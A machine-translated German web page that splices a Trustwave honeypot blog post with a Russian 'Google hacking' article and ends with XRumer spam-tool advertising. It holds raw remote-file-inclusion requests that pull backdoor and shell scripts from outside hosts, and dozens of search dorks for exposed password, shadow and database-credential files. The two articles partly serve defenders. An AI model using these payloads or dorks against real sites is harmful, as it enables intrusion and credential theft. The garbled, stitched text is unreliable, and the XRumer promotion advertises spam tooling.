Inurl-Nachricht wird erwartet. Verwendung von Google als CGI-Scanner

Wie Sie vielleicht schon gehört haben, hat Trustwave SpiderLabs unsere veröffentlicht, die eine große Menge wertvoller Daten aus unseren Engagements im Jahr 2011 hervorhebt. In diesem Blogbeitrag möchte ich einen bestimmten Abschnitt des GSR hervorheben, der bestimmte Angriffsmethoden hervorhebt, die von Angreifern gegen unsere Kunden in Europa verwendet werden.

Es gibt einen Abschnitt im GSR, der unseren Kunden in Europa, dem Nahen Osten und Asien (EMEA) gewidmet ist. Solomon Bhala, Sicherheitsberater im Incident Response Team von Trustwave SpiderLabs, skizzierte Folgendes in Bezug auf verschiedene Angriffsvektoren, die in der europäischen Region verwendet werden:

Im Gegensatz zu den Datenkompromittierungstrends in Amerika sind in POS-Netzwerken in Europa, dem Nahen Osten und Afrika (EMEA) nur sehr wenige Datenkompromittierungen aufgetreten. Vielmehr bestehen in EMEA aufgrund der stärkeren Einführung von „Chip & Pin“ (EMV) und der Abwertung von Magnetstreifentransaktionen (Magnetstreifen) in Europa weniger Möglichkeiten für den Diebstahl von Trackdaten, die bei Magnetstreifentransaktionen verwendet werden.

In der gesamten Region werden jedoch weiterhin viele Magnetstreifen-fähige POS-Systeme verwendet, um Nur-Magnetstreifen-Karten oder Transaktionen zu unterstützen, die auf Magnetstreifen zurückgreifen, wenn EMV ausfällt. Daher treten Kompromittierungen bei vorhandener Karte immer noch in geringer Zahl auf.

Überwiegend waren E-Commerce-Händler in EMEA das Ziel von Cyberkriminellen. E-Commerce-Unternehmen gestatten es Angreifern, geografisch wahllos vorzugehen und sich nur mit der Identifizierung von Zielen zu beschäftigen, deren Kompromittierung wenig technische Komplexität mit sich bringt.

Die typischen Schwachstellen, die bei EMEA-Untersuchungen ausgenutzt wurden, waren unsichere, aber legitime Datei-Upload-Mechanismen oder ausnutzbare Vektoren für die Einbindung von Remote-Dateien.

Der typische Angriffsablauf sieht etwa so aus:

Quelle: Global Security Report 2012 von Tustwave

Das SpiderLabs-Forschungsteam hat auch Daten von Web-Honeypot-Systemen gesammelt, die diese Art von Angriffsmethode bestätigen.

Verwendung von Suchmaschinen zur Identifizierung von Zielen

Angreifer verwenden häufig Suchmaschinenabfragen als Methode, um schnell Websites zu identifizieren, die bestimmte Merkmale für die Schwachstellen aufweisen, die sie ausnutzen möchten. Wenn Suchmaschinenergebnisse zurückgegeben werden, hat der Angreifer dann eine Liste möglicher Ziel-Websites, um Angriffe zu starten. Hier sind einige Beispiele Referent Daten aus den Protokollen unserer Web-Honeypots, die die Verwendung von Suchmaschinen zeigen, um häufig anfällige Apps zu identifizieren:

http://www.google.com/m?client=ms-aff-ucweb&output=xhtml&hl=en&q=inurl%3a+admin%2f+login.phphttp://www.google.com/m?client=ms- opera-mini&channel=new&q=inurl%3A+log.Txt //www.google.com/m?cx=partner-mb-pub-6630117049886772:7963048852&ie=utf8&hl=de&q=inurl%3A%20adminlogin.phphttp://yandex .ru/yandsearch?text=biz+inurl:/gbook +sign.asp
http://yandex.ru/yandsearch?text=car+used+inurl:/light.cgi?page=
http://yandex.ru/yandsearch?text=check+inurl:/guestbook.asp
http://yandex.ru/yandsearch?text=coid+inurl:/write.asp
http://yandex.ru/yandsearch?text=dates+inurl:/modules.php?name=
http://yandex.ru/yandsearch?text=devalues+inurl:/register+intext:%22upcoming%22+intext:%22published%22+intext:%22submit%22+-inurl:.php+intitle:%22register %22
http://yandex.ru/yandsearch?text=dictionary+inurl:/bbs.cgi?id=
http://yandex.ru/yandsearch?text=event+inurl:/minibbs.cgi?log=
http://yandex.ru/yandsearch?text=harder+inurl:/bbs.cgi?id=
http://yandex.ru/yandsearch?text=inurl:%22blog
http://yandex.ru/yandsearch?text=inurl:_articles.php?homeid=
http://yandex.ru/yandsearch?text=inurl:/fckeditor/editor/filemanager
http://yandex.ru/yandsearch?text=inurl:/index.php?action=stats geänderte Staaten Wikipedia
http://yandex.ru/yandsearch?text=inurl:/index.php?action=stats sanktioniert Körpersportarten
http://yandex.ru/yandsearch?text=inurl:/index.php?action=stats welche Errungenschaften man in einen Lebenslauf aufnehmen sollte
http://yandex.ru/yandsearch?text=inurl:/modules.php?name= Fragen und Lösungen Engineering
http://yandex.ru/yandsearch?text=inurl:/register+intext:%22upcoming%22+intext:%22published%22+intext:%22submit%22+-inurl:.php+intitle:%22register%22 +Verbindung
http://yandex.ru/yandsearch?text=inurl:/register+intext:%22upcoming%22+intext:%22published%22+intext:%22submit%22+-inurl:.php+intitle:%22register%22 + finanzieren
http://yandex.ru/yandsearch?text=inurl:/register.php+north
http://yandex.ru/yandsearch?text=inurl:/register.php+you
http://yandex.ru/yandsearch?text=inurl:/?show=guestbook&lr=213
http://yandex.ru/yandsearch?text=kept+inurl:/bbs.cgi?id=
http://yandex.ru/yandsearch?text=library+inurl:/bbs.cgi?room=
http://yandex.ru/yandsearch?text=op+inurl:/gbook.cgi?user=
http://yandex.ru/yandsearch?text=print+inurl:/guestbook.php
http://yandex.ru/yandsearch?text=provide+inurl:/bbs.cgi?room=
http://yandex.ru/yandsearch?text=systems+inurl:/board.cgi?action=
http://yandex.ru/yandsearch?text=visits+inurl:/postcards.php?image_id=
http://yandex.ru/yandsearch?text=zi+inurl:/profile.php?id=

Verwenden von Vulnerability Scanning Tools/Scripts

Hier sind einige der wichtigsten Schwachstellen-Scanner/-Skriptnamen aus der User-Agent Felder unserer Web-Honeypot-Protokolle:

DataCha0s/2.0Gootkit Auto-Rooter-ScannerMade by ZmEu @ WhiteHat Team - www.whitehat.roMaMa CaSpErMorfeus Fucking ScannerZmEu

Exploit-Schwachstelle Remote File Inclusion

Sicherheitslücken durch Remote File Inclusion werden von Angreifern ausgiebig angegriffen, um entweder PHP-Code auszuführen oder eine trojanische Backdoor-Anwendung herunterzuladen. Hier sind einige Nutzlasten von RFI-Angriffen, die wir nur für heute aus unserem Web-Honeypot gesammelt haben:

GET /become_editor.php?theme_path=http://www.univerzum.de/allnett.jpg?? HTTP/1.1
GET /become_editor.php?theme_path=http://www.univerzum.de/byroee.jpg?? HTTP/1.1
GET /become_editor.php?theme_path=?src=http://blogger.com.nilgirisrealty.com/cok.php HTTP/1.1
GET //manager/admin/index.php?MGR=http://www.ralphlaurenukonlineshop.com/list.txt??? HTTP/1.1
GET //php/init.poll.php?include_class=http://www.nettunoresidence.it/wp-content/themes/N7.jpg?? HTTP/1.1
GET //php/init.poll.php?include_class=http://www.nettunoresidence.it/wp-content/themes/N8.jpg?? HTTP/1.1
GET ///?_SERVER=http://www.triz.or.kr//data/log/auto1.txt?? HTTP/1.1
GET /webmail/lib/emailreader_execute_on_each_page.inc.php?emailreader_ini=http://popsiclesocial.com/mmstaging//wp-admin/user/?? HTTP/1.1
GET //wp-content/plugins/wp_rokstories/?src=http://udassham.com//air.php HTTP/1.1
GET //wp-content/themes/arras/library/timhumb.php?src=http://blogger.com.mesco.com.vn/login.php HTTP/1.1
GET //wp-content/themes/arras/library/widgets.php?src=http://blogger.com.nilgirisrealty.com/cok.php HTTP/1.1
GET /wp-content/themes/cadabrapress/scripts/?src=http://blogger.com.3085.a.hostable.me/myid.php HTTP/1.1
GET /wp-content/themes/cadabrapress/scripts/?src=http://flickr.com.javafootwear.com/vegetable.php HTTP/1.1
GET /wp-content/themes/cadabrapress/scripts/_tbs.php?src=http://picasa.com.amplarh.com.br/stun.php HTTP/1.1
GET //wp-content/themes/DeepFocus/_tbs.php?src=http://blogger.com.herzelconsultores.com.ar/shell.php HTTP/1.1
GET ///wp-content/themes/editorial/functions/?src=http://blogger.com.antesagoradepois.com/depois.php HTTP/1.1
GET //wp-content/themes/Magnificent/_tbs.php?src=http://picasa.com.fuckfashionwearart.com/injekan/injekan.php HTTP/1.1
GET ///wp-content/themes/optimize/?src=http://blogger.com.antesagoradepois.com/depois.php HTTP/1.1
GET //wp-content/themes/Polished/_tbs.php?src=http://picasa.com.amplarh.com.br/stun.php HTTP/1.1
GET //wp-content/themes/prosto/functions/?src=http://blogger.com.nilgirisrealty.com/cok.php HTTP/1.1
GET //wp-content/themes/sakura/plugins/woo-tumblog/functions/_tbs.php?src=http://picasa.com.fuckfashionwearart.com/injekan/injekan.php HTTP/1.1
GET //wp-content/themes/telegraph/scripts/?src=http://img.youtube.com.uscd.ro/bogel.php HTTP/1.1
GET //wp-?src=http://flickr.com.bpmohio.com/byroe.php HTTP/1.1
GET //wp-?src=http://flickr.com.bpmohio.com/spread.php HTTP/1.1

Jede dieser Dateien, auf die von der HTTP-Offsite-Nutzlast verwiesen wird, ist eine Art PHP-Code oder Hintertür. Sobald die Backdoor-/Trojaner-Webseite installiert ist, kann der Angreifer sie für Folgendes verwenden:

Lokale Dateien nach Kreditkarteninhaberdaten durchsuchen:

Stellen Sie eine direkte Verbindung zum Datenbank-Listener her, um nach Datensätzen zu suchen.

Dies ist möglich, da viele ACLs den Zugriff vom Localhost zulassen. Dadurch kann der Angreifer auch SQL-Abfragen ausführen, die durch SQL-Injection-Schwachstellen in der Webanwendung möglicherweise nicht möglich gewesen wären.

Die Google-Suchmaschine (www.google.com) bietet viele Suchoptionen. All diese Funktionen sind ein unschätzbares Suchwerkzeug für einen erstmaligen Internetnutzer und gleichzeitig eine noch mächtigere Invasions- und Zerstörungswaffe in den Händen von Menschen mit bösen Absichten, darunter nicht nur Hacker, sondern auch Nicht-Computerkriminelle und sogar Terroristen.
(9475 Aufrufe in 1 Woche)

Denis Batrankow
denisNOSPAMixi.ru

Aufmerksamkeit:Dieser Artikel ist keine Anleitung zum Handeln. Dieser Artikel wurde für Sie, die Administratoren von WEB-Servern, geschrieben, damit Sie das falsche Gefühl verlieren, dass Sie sicher sind, und Sie endlich die Heimtücke dieser Methode der Informationsbeschaffung verstehen und sich an den Schutz Ihrer Website machen.

Einführung

Zum Beispiel habe ich 1670 Seiten in 0,14 Sekunden gefunden!

2. Lassen Sie uns eine andere Zeile eingeben, zum Beispiel:

inurl:"auth_user_file.txt"

etwas weniger, aber das reicht schon zum kostenlosen Download und zum Erraten von Passwörtern (mit demselben John The Ripper). Im Folgenden werde ich einige weitere Beispiele geben.

Sie müssen sich also darüber im Klaren sein, dass die Google-Suchmaschine die meisten Internetseiten besucht und die darauf enthaltenen Informationen zwischengespeichert hat. Diese zwischengespeicherten Informationen ermöglichen es Ihnen, Informationen über die Website und den Inhalt der Website ohne direkte Verbindung zur Website zu erhalten, indem Sie einfach die Informationen durchsuchen, die intern von Google gespeichert werden. Wenn die Informationen auf der Website nicht mehr verfügbar sind, können die Informationen im Cache außerdem noch erhalten bleiben. Alles, was Sie für diese Methode brauchen, ist, einige zu kennen Stichworte Google. Diese Technik wird Google Hacking genannt.

Vor 3 Jahren erschienen zum ersten Mal Informationen über Google Hacking auf der Mailingliste von Bugtruck. 2001 wurde dieses Thema von einem französischen Studenten angesprochen. Hier ist ein Link zu diesem Brief http://www.cotse.com/mailing-lists/bugtraq/2001/Nov/0129.html . Es gibt die ersten Beispiele für solche Anfragen:

1) Index von /admin
2) Index von /Passwort
3) Index von /mail
4) Index von / +banques +filetype:xls (für Frankreich...)
5) Index von / +passwd
6) Index von/password.txt

Dieses Thema hat vor kurzem im englischsprachigen Teil des Internets viel Aufsehen erregt: nach einem Artikel von Johnny Long, der am 7. Mai 2004 veröffentlicht wurde. Für eine vollständigere Studie über Google Hacking rate ich Ihnen, auf die Website dieses Autors zu gehen http://johnny.ihackstuff.com. In diesem Artikel möchte ich Sie nur auf den neuesten Stand bringen.

Wer kann es nutzen:
- Journalisten, Spione und alle, die gerne ihre Nase in fremde Angelegenheiten stecken, können damit nach kompromittierenden Beweisen suchen.
- Hacker suchen nach geeigneten Angriffszielen.

So funktioniert Google.

Um das Gespräch fortzusetzen, möchte ich Sie an einige der Schlüsselwörter erinnern, die in Google-Anfragen verwendet werden.

Suchen Sie mit dem +-Zeichen

Google schließt seiner Meinung nach unwichtige Wörter von der Suche aus. Zum Beispiel Fragewörter, Präpositionen und Artikel in Englische Sprache: zum Beispiel sind, von, wo. Auf Russisch scheint Google alle Wörter für wichtig zu halten. Wird das Wort von der Suche ausgeschlossen, schreibt Google darüber. Damit Google nach Seiten mit diesen Wörtern suchen kann, müssen Sie ihnen ein +-Zeichen ohne Leerzeichen vor dem Wort hinzufügen. Zum Beispiel:

Ass + Basis

Suche nach Vorzeichen -

Wenn Google sehr viele Seiten findet, von denen Sie Seiten mit bestimmten Themen ausschließen möchten, können Sie Google dazu zwingen, nur nach Seiten zu suchen, die bestimmte Wörter nicht enthalten. Dazu müssen Sie diese Wörter kennzeichnen, indem Sie ihnen jeweils ein Zeichen voranstellen - ohne Leerzeichen vor dem Wort. Zum Beispiel:

Angeln - Wodka

Suchen Sie mit dem Zeichen ~

Vielleicht möchten Sie nicht nur das angegebene Wort nachschlagen, sondern auch seine Synonyme. Stellen Sie dazu dem Wort das Symbol ~ voran.

Finden eines genauen Ausdrucks mit doppelten Anführungszeichen

Google sucht auf jeder Seite nach allen Vorkommen der Wörter, die Sie in die Abfragezeichenfolge geschrieben haben, und es kümmert sich nicht um die relative Position der Wörter, Hauptsache, alle angegebenen Wörter sind gleichzeitig auf der Seite ( dies ist die Standardaktion). Um den genauen Ausdruck zu finden, müssen Sie ihn in Anführungszeichen setzen. Zum Beispiel:

"Buchstütze"

Um mindestens eines der angegebenen Wörter zu haben, müssen Sie angeben logische Operation explizit: ODER. Zum Beispiel:

Buchsicherheit ODER Schutz

Darüber hinaus können Sie das *-Zeichen in der Suchzeichenfolge verwenden, um ein beliebiges Wort und zu bezeichnen. irgendeinen Charakter darstellen.

Wörter finden mit zusätzlichen Operatoren

Es gibt Suchoperatoren, die in der Suchzeichenfolge im Format angegeben werden:

Operator:Suchbegriff

Die Leerzeichen neben dem Doppelpunkt werden nicht benötigt. Wenn Sie nach einem Doppelpunkt ein Leerzeichen einfügen, erhalten Sie eine Fehlermeldung und davor verwendet Google sie als normalen Suchstring.
Es gibt Gruppen zusätzlicher Suchoperatoren: Sprachen – geben Sie an, in welcher Sprache Sie das Ergebnis sehen möchten, Datum – begrenzen Sie die Ergebnisse für die letzten drei, sechs oder 12 Monate, Vorkommen – geben Sie an, wo Sie im Dokument suchen müssen die Zeichenkette: überall, im Titel, in der URL, in Domains - suchen Sie die angegebene Website oder umgekehrt, schließen Sie sie von der Suche aus, sichere Suche - blockieren Sie Websites, die die angegebene Art von Informationen enthalten, und entfernen Sie sie von den Suchergebnisseiten.
Einige Operatoren benötigen jedoch keinen zusätzlichen Parameter, beispielsweise die Abfrage " Cache:www.google.com" kann als vollständiger Suchbegriff aufgerufen werden, und einige Schlüsselwörter erfordern im Gegenteil ein Suchwort, zum Beispiel " site:www.google.com Hilfe". Betrachten wir im Lichte unseres Themas die folgenden Operatoren:

Operator

Beschreibung

Benötigt einen zusätzlichen Parameter?

Suche nur nach der Site, die in Suchbegriff angegeben ist

suche nur in Dokumenten vom Typ Suchbegriff

Seiten finden, die Suchbegriff im Titel enthalten

findet Seiten, die alle Wörter Suchbegriff im Titel enthalten

Seiten finden, die das Wort Suchbegriff in ihrer Adresse enthalten

Seiten finden, die alle Wörter Suchbegriff in ihrer Adresse enthalten

Operator Seite? ˅: schränkt die Suche nur auf die angegebene Website ein, und Sie können nicht nur angeben Domänenname sondern auch die IP-Adresse. Geben Sie beispielsweise Folgendes ein:

Operator Dateityp: schränkt die Suche auf Dateien eines bestimmten Typs ein. Zum Beispiel:

Zum Datum dieses Artikels kann Google in 13 verschiedenen Dateiformaten suchen:

  • Adobe Portable Document Format (pdf)
  • Adobe PostScript (ps)
  • Lotus 1-2-3 (wk1, wk2, wk3, wk4, wk5, wki, wks, wku)
  • Lotus Word Pro (lwp)
  • MacWrite (mw)
  • Microsoft Excel(XLS)
  • Microsoft PowerPoint (ppt)
  • Microsoft Word (doc)
  • Microsoft Works (wks, wps, wdb)
  • Microsoft Write (wri)
  • Rich-Text-Format (rtf)
  • Schockwellenblitz (swf)
  • Text (ans, txt)

Operator Verknüpfung: zeigt alle Seiten an, die auf die angegebene Seite verweisen.
Es muss immer interessant sein zu sehen, wie viele Stellen im Internet über Sie Bescheid wissen. Wir versuchen:

Operator Zwischenspeicher: zeigt die von Google zwischengespeicherte Version der Website, wie sie aussah, als Google die Seite zuletzt besuchte. Wir nehmen jede sich häufig ändernde Website und schauen:

Operator Titel: sucht nach dem angegebenen Wort im Seitentitel. Operator allintitle: ist eine Erweiterung - sie sucht nach allen angegebenen wenigen Wörtern im Seitentitel. Vergleichen:

Titel: Flug zum Mars
intitle:flight intitle:on intitle:mars
allintitle:flug zum mars

Operator URL: bewirkt, dass Google alle Seiten anzeigt, die die angegebene Zeichenfolge in der URL enthalten. allinurl: sucht nach allen Wörtern in einer URL. Zum Beispiel:

allinurl:acid_stat_alerts.php

Dieser Befehl ist besonders nützlich für diejenigen, die SNORT nicht haben - zumindest können sie sehen, wie es auf einem echten System funktioniert.

Google-Hacking-Methoden

Wir haben also herausgefunden, dass jeder mit einer Kombination der oben genannten Operatoren und Schlüsselwörter mit dem Sammeln beginnen kann notwendige Informationen und nach Schwachstellen suchen. Diese Techniken werden oft als Google Hacking bezeichnet.

Standortkarte

Sie können die site:-Anweisung verwenden, um alle Links anzuzeigen, die Google auf der Website gefunden hat. Normalerweise werden Seiten, die dynamisch von Skripten erstellt werden, nicht mit Parametern indiziert, daher verwenden einige Sites ISAPI-Filter, sodass Links nicht im Formular enthalten sind /article.asp?num=10&dst=5, aber mit Schrägstrichen /article/abc/num/10/dst/5. Dies geschieht, um sicherzustellen, dass die Website von Suchmaschinen allgemein indexiert wird.

Lass es uns versuchen:

Website: www.whitehouse.gov Whitehouse

Google denkt, dass jede Seite einer Website das Wort Whitehouse enthält. Dies ist, was wir verwenden, um alle Seiten zu erhalten.
Es gibt auch eine vereinfachte Version:

Website: whitehouse.gov

Und das Beste daran ist, dass die Genossen von whitehouse.gov nicht einmal wussten, dass wir uns die Struktur ihrer Website angesehen und sogar in die zwischengespeicherten Seiten geschaut haben, die Google für sich selbst heruntergeladen hat. Damit kann die Struktur von Seiten studiert und Inhalte vorerst unbemerkt eingesehen werden.

Auflisten von Dateien in Verzeichnissen

WEB-Server können anstelle von regulären HTML-Seiten Serververzeichnislisten anzeigen. Dies geschieht normalerweise, um Benutzer zu zwingen, bestimmte Dateien auszuwählen und herunterzuladen. In vielen Fällen haben Administratoren jedoch nicht die Absicht, den Inhalt eines Verzeichnisses anzuzeigen. Dies liegt an einer Fehlkonfiguration des Servers oder dem Fehlen einer Masterseite im Verzeichnis. Dadurch hat der Hacker die Möglichkeit, etwas Interessantes im Verzeichnis zu finden und es für seine eigenen Zwecke zu verwenden. Um alle diese Seiten zu finden, genügt es zu bemerken, dass sie alle die Wörter: index of in ihrem Titel enthalten. Aber da der Wortindex nicht nur solche Seiten enthält, müssen wir die Abfrage verfeinern und die Schlüsselwörter auf der Seite selbst berücksichtigen, also Abfragen wie:

intitle:index.of übergeordnetes Verzeichnis
intitle:Index.der Namensgröße

Da die meisten Verzeichniseinträge beabsichtigt sind, kann es beim ersten Mal schwierig sein, verlegte Einträge zu finden. Aber zumindest können Sie die Auflistungen bereits definieren WEB-Versionen Server wie unten beschrieben.

Abrufen der WEB-Server-Version.

Es ist immer hilfreich, die Version des WEB-Servers zu kennen, bevor Sie einen Hackerangriff starten. Auch hier ist es dank Google möglich, diese Informationen ohne Verbindung zu einem Server zu erhalten. Wenn Sie sich die Verzeichnisliste genau ansehen, sehen Sie, dass dort der Name des WEB-Servers und seine Version angezeigt werden.

Apache1.3.29 – ProXad-Server unter trf296.free.fr Port 80

Ein erfahrener Administrator kann diese Informationen ändern, aber in der Regel ist es richtig. Um diese Informationen zu erhalten, reicht es also aus, eine Anfrage zu senden:

intitle:index.ofserver.at

Um Informationen für einen bestimmten Server zu erhalten, verfeinern wir die Anfrage:

intitle:index.of server.at site:ibm.com

Oder umgekehrt suchen wir nach Servern, die auf einer bestimmten Version des Servers laufen:

intitle:index.of Apache/2.0.40 Server unter

Diese Technik kann von einem Hacker verwendet werden, um ein Opfer zu finden. Wenn er beispielsweise einen Exploit für eine bestimmte Version des WEB-Servers hat, kann er ihn finden und den vorhandenen Exploit ausprobieren.

Sie können die Serverversion auch erhalten, indem Sie sich die Seiten ansehen, die standardmäßig installiert werden, wenn Sie eine neue Version des WEB-Servers installieren. Um beispielsweise die Apache 1.2.6-Testseite anzuzeigen, geben Sie einfach Folgendes ein

intitle:Testseite.für.Apache es.funktioniert!

Außerdem einige Betriebssysteme Während der Installation installieren und starten sie sofort den WEB-Server. Einige Benutzer sind sich dessen jedoch nicht einmal bewusst. Wenn Sie sehen, dass jemand die Standardseite nicht gelöscht hat, ist es natürlich logisch anzunehmen, dass der Computer überhaupt keiner Konfiguration unterzogen wurde und wahrscheinlich anfällig für Angriffe ist.

Versuchen Sie, nach IIS 5.0-Seiten zu suchen

allintitle:Willkommen bei den Windows 2000-Internetdiensten

Im Fall von IIS können Sie nicht nur die Version des Servers ermitteln, sondern auch Windows-Version und Servicepaket.

Eine andere Möglichkeit, die Version des WEB-Servers zu ermitteln, besteht darin, nach Handbüchern (Hilfeseiten) und Beispielen zu suchen, die standardmäßig auf der Site installiert werden können. Hacker haben eine Reihe von Möglichkeiten gefunden, diese Komponenten zu verwenden, um privilegierten Zugriff auf die Website zu erhalten. Deshalb müssen Sie diese Komponenten am Produktionsstandort entfernen. Ganz zu schweigen von der Tatsache, dass Sie durch das Vorhandensein dieser Komponenten Informationen über den Servertyp und seine Version erhalten können. Suchen wir zum Beispiel das Apache-Handbuch:

inurl:manual Apache-Direktiven-Module

Verwendung von Google als CGI-Scanner.

CGI-Scanner oder WEB-Scanner ist ein Dienstprogramm zum Suchen nach anfälligen Skripten und Programmen auf dem Server des Opfers. Diese Dienstprogramme müssen wissen, wonach sie suchen müssen, dafür haben sie eine ganze Liste anfälliger Dateien, zum Beispiel:

/cgi-bin/cgiemail/uargg.txt
/random_banner/index.cgi
/random_banner/index.cgi
/cgi-bin/mailview.cgi
/cgi-bin/maillist.cgi
/cgi-bin/userreg.cgi

/iissamples/ISSamples/SQLQHit.asp
/SiteServer/admin/findvserver.asp
/scripts/cphost.dll
/cgi-bin/finger.cgi

Wir können jede dieser Dateien mit finden Google, indem Sie zusätzlich zum Dateinamen in der Suchzeichenfolge die Wörter index of oder inurl verwenden: Wir können Websites mit anfälligen Skripten finden, zum Beispiel:

allinurl:/random_banner/index.cgi

Mit zusätzlichem Wissen könnte ein Hacker eine Skript-Schwachstelle ausnutzen und die Schwachstelle nutzen, um das Skript zu zwingen, jede auf dem Server gespeicherte Datei bereitzustellen. Zum Beispiel eine Passwortdatei.

So schützen Sie sich davor, von Google gehackt zu werden.

1. Laden Sie keine wichtigen Daten auf den WEB-Server hoch.

Selbst wenn Sie die Daten vorübergehend gepostet haben, können Sie sie vergessen, oder jemand hat Zeit, diese Daten zu finden und zu nehmen, bevor Sie sie löschen. Tu es nicht. Es gibt viele andere Möglichkeiten, Daten zu übertragen, die sie vor Diebstahl schützen.

2. Überprüfen Sie Ihre Website.

Verwenden Sie die beschriebenen Methoden, um Ihre Website zu recherchieren. Überprüfen Sie Ihre Website regelmäßig auf neue Methoden, die auf der Website http://johnny.ihackstuff.com erscheinen. Denken Sie daran, dass Sie eine spezielle Genehmigung von Google benötigen, wenn Sie Ihre Aktionen automatisieren möchten. Wenn Sie sorgfältig lesen http://www.google.com/terms_of_service.html, dann sehen Sie den Satz: Sie dürfen ohne vorherige ausdrückliche Genehmigung von Google keine automatisierten Anfragen jeglicher Art an das Google-System senden.

3. Möglicherweise benötigen Sie Google nicht, um Ihre Website oder Teile davon zu indizieren.

Google ermöglicht es Ihnen, einen Link zu Ihrer Website oder Teilen davon aus seiner Datenbank zu entfernen sowie Seiten aus dem Cache zu entfernen. Darüber hinaus können Sie die Suche nach Bildern auf Ihrer Website verbieten, die Anzeige kurzer Seitenfragmente in den Suchergebnissen verbieten Alle Möglichkeiten zum Löschen einer Website sind auf der Seite beschrieben http://www.google.com/remove.html. Dazu müssen Sie bestätigen, dass Sie wirklich der Inhaber dieser Seite sind oder Tags auf der Seite einfügen bzw

4. Verwenden Sie robots.txt

Es ist bekannt, dass Suchmaschinen in die robots.txt-Datei im Stammverzeichnis der Website schauen und die Teile, die mit dem Wort gekennzeichnet sind, nicht indizieren Nicht zulassen. Sie können dies verwenden, um zu verhindern, dass ein Teil der Website indiziert wird. Um beispielsweise zu vermeiden, dass die gesamte Website indexiert wird, erstellen Sie eine robots.txt-Datei mit zwei Zeilen:

User-Agent: *
verbieten: /

Was passiert noch

Damit Ihnen das Leben nicht wie Honig vorkommt, werde ich am Ende sagen, dass es Seiten gibt, die jenen Leuten folgen, die mit den oben genannten Methoden nach Löchern in Skripten und WEB-Servern suchen. Ein Beispiel für eine solche Seite ist

Anwendung.

Ein bisschen süß. Probieren Sie selbst eine der folgenden Möglichkeiten aus:

1. #mysql dump filetype:sql - Suche nach Datenbank-Dumps mySQL-Daten
2. Zusammenfassender Bericht zu Host-Schwachstellen – zeigt Ihnen, welche Schwachstellen andere Personen gefunden haben
3. phpMyAdmin läuft auf inurl:main.php – dies erzwingt das Schließen der Steuerung über das phpmyadmin-Panel
4. Nicht zur Weitergabe vertraulich
5. Details anfordern Steuerbaum-Servervariablen
6. Laufen im Kindermodus
7. Dieser Bericht wurde von WebLog erstellt
8. intitle:index.of-cgiirc.config
9. filetype:conf inurl:firewall -intitle:cvs - vielleicht braucht jemand Firewall-Konfigurationsdateien? :)
10. intitle:finanzindex.xls - hmm....
11. intitle:Index der dbconvert.exe-Chats - ICQ-Chat-Protokolle
12. intext:Tobias Oetiker Verkehrsanalyse
13. intitle:Usage Statistics for Generated by Webalizer
14. intitle:statistics für fortgeschrittene Webstatistiken
15. intitle:index.of ws_ftp.ini - ws ftp-Konfiguration
16. inurl:ipsec.secrets enthält gemeinsame Geheimnisse – geheimer Schlüssel – guter Fund
17. inurl:main.php Willkommen bei phpMyAdmin
18. inurl:server-info Informationen zum Apache-Server
19. site:edu-Admin-Noten
20. ORA-00921: Unerwartetes Ende des SQL-Befehls – Pfade abrufen
21. intitle:index.of trillian.ini
22. intitle:Index von pwd.db
23. intitle:index.of people.lst
24. intitle:index.des.master.passwd
25.inurl:Passliste.txt
26. intitle:Index von .mysql_history
27. intitle:Index von intext:globals.inc
28. intitle:Index.der Administratoren.pwd
29. intitle:Index.of etc shadow
30. intitle:index.ofsecring.pgp
31. inurl:config.php dbuname dbpass
32. inurl:Dateityp ausführen:ini

  • "Hacking mit Google"
  • Schulungszentrum "Informzaschita" http://www.itsecurity.ru - ein führendes spezialisiertes Zentrum im Bereich Bildung Informationssicherheit(Lizenz des Moskauer Komitees für Bildung Nr. 015470, staatliche Akkreditierung Nr. 004251). Das einzige autorisierte Schulungszentrum von Unternehmen Internet sicherheit Systems und Clearswift in Russland und den GUS-Staaten. Von Microsoft autorisiertes Schulungszentrum (Sicherheitsspezialisierung). Die Schulungsprogramme werden mit der State Technical Commission of Russia, FSB (FAPSI) koordiniert. Ausbildungsnachweise und staatliche Dokumente zur Weiterbildung.

    SoftKey ist ein einzigartiger Service für Käufer, Entwickler, Händler und Affiliate-Partner. Außerdem ist es einer von Die besten Online-Shops Software in Russland, Ukraine, Kasachstan, die den Kunden ein breites Angebot, viele Zahlungsmethoden, prompte (oft sofortige) Auftragsabwicklung, Verfolgung des Auftragsfortschritts im persönlichen Bereich, verschiedene Rabatte von Shop- und Softwareherstellern bietet.

    Ein umfangreiches Update des XRumer-Programms, bei dem sich die Logik der Registrierung von Profilen auf verschiedenen Plattformen erheblich weiterentwickelt hat, die Arbeit mit den Plattformen Bitrix, Joomla, WordPress Forum, MyBB, VBulletin und XenForo wurde verbessert, ein Mechanismus zum Ändern der gesendeten Text je nach Thema der Empfängerseite wurde hinzugefügt (neues Makro # Thema), aktualisiert und erweitert die angehängten Datenbanken - das Gesamtvolumen hat 8 Millionen Seiten überschritten, verbesserte Arbeit mit HTTPS und Google ReCaptcha-2 und vieles mehr ...

    26. Januar 2019

    XRumer 16.0.18 + SocPlugin 4.0.63

    Die enthaltenen Datenbanken wurden überprüft und aktualisiert, das Gesamtvolumen wurde auf 8 (!) Millionen unterstützte Ressourcen erhöht - Blogs, Foren, Gästebücher, Boards, BBS, CMS und andere Plattformen. Die Datenbank bekannter Textcaptchas wurde um mehr als 2.000 neue Antworten auf Anti-Bot-Fragen erweitert und umfasst nun 324.000 Textcaptchas. Deutlich erhöhte Stabilität und Arbeitsgeschwindigkeit, optimierter Ressourcenverbrauch: Die Obergrenze reicht bis zu 500 oder mehr Threads (je nach Betriebsmodus). Verbesserte Arbeit mit HTTPS. Und die wichtigste Verbesserung: Die Effizienz beim Senden privater Nachrichten wurde erheblich gesteigert - der MassPM-Modus. Plus, viele andere Verbesserungen und Korrekturen :)

    14. September 2018

    XRumer 16.0.17

    Ein wichtiges Update für XRumer, das den Ressourcenverbrauch erheblich optimiert. Verbesserte Stabilität und Geschwindigkeit, erhöhte Durchflussobergrenze. Jetzt wird der Weg durch millionenfache Datenbanken noch komfortabler! Außerdem verbessertes Arbeiten mit HTTPS, JavaScript, verbessertes Arbeiten mit der Joomla K2-Plattform und vieles mehr...

    05. Juli 2018

    JavaScript muss aktiviert sein, damit die Seite korrekt funktioniert.

    Neuerungen und Verbesserungen in XRumer und SocPlugin 12. September 2014

    Neuerungen und Verbesserungen in XRumer 12.0.7

    Neuerungen und Verbesserungen in SocPlugin 4.0.10

    • Autoresponder unterstützt jetzt Odnoklassniki
    • Die Funktion zum Kommentieren von Videos auf VKontakte wurde aktualisiert
    • Das Verfahren zum Speichern der Fragebogendatenbank wurde angepasst
    • aktualisierter User-Agent
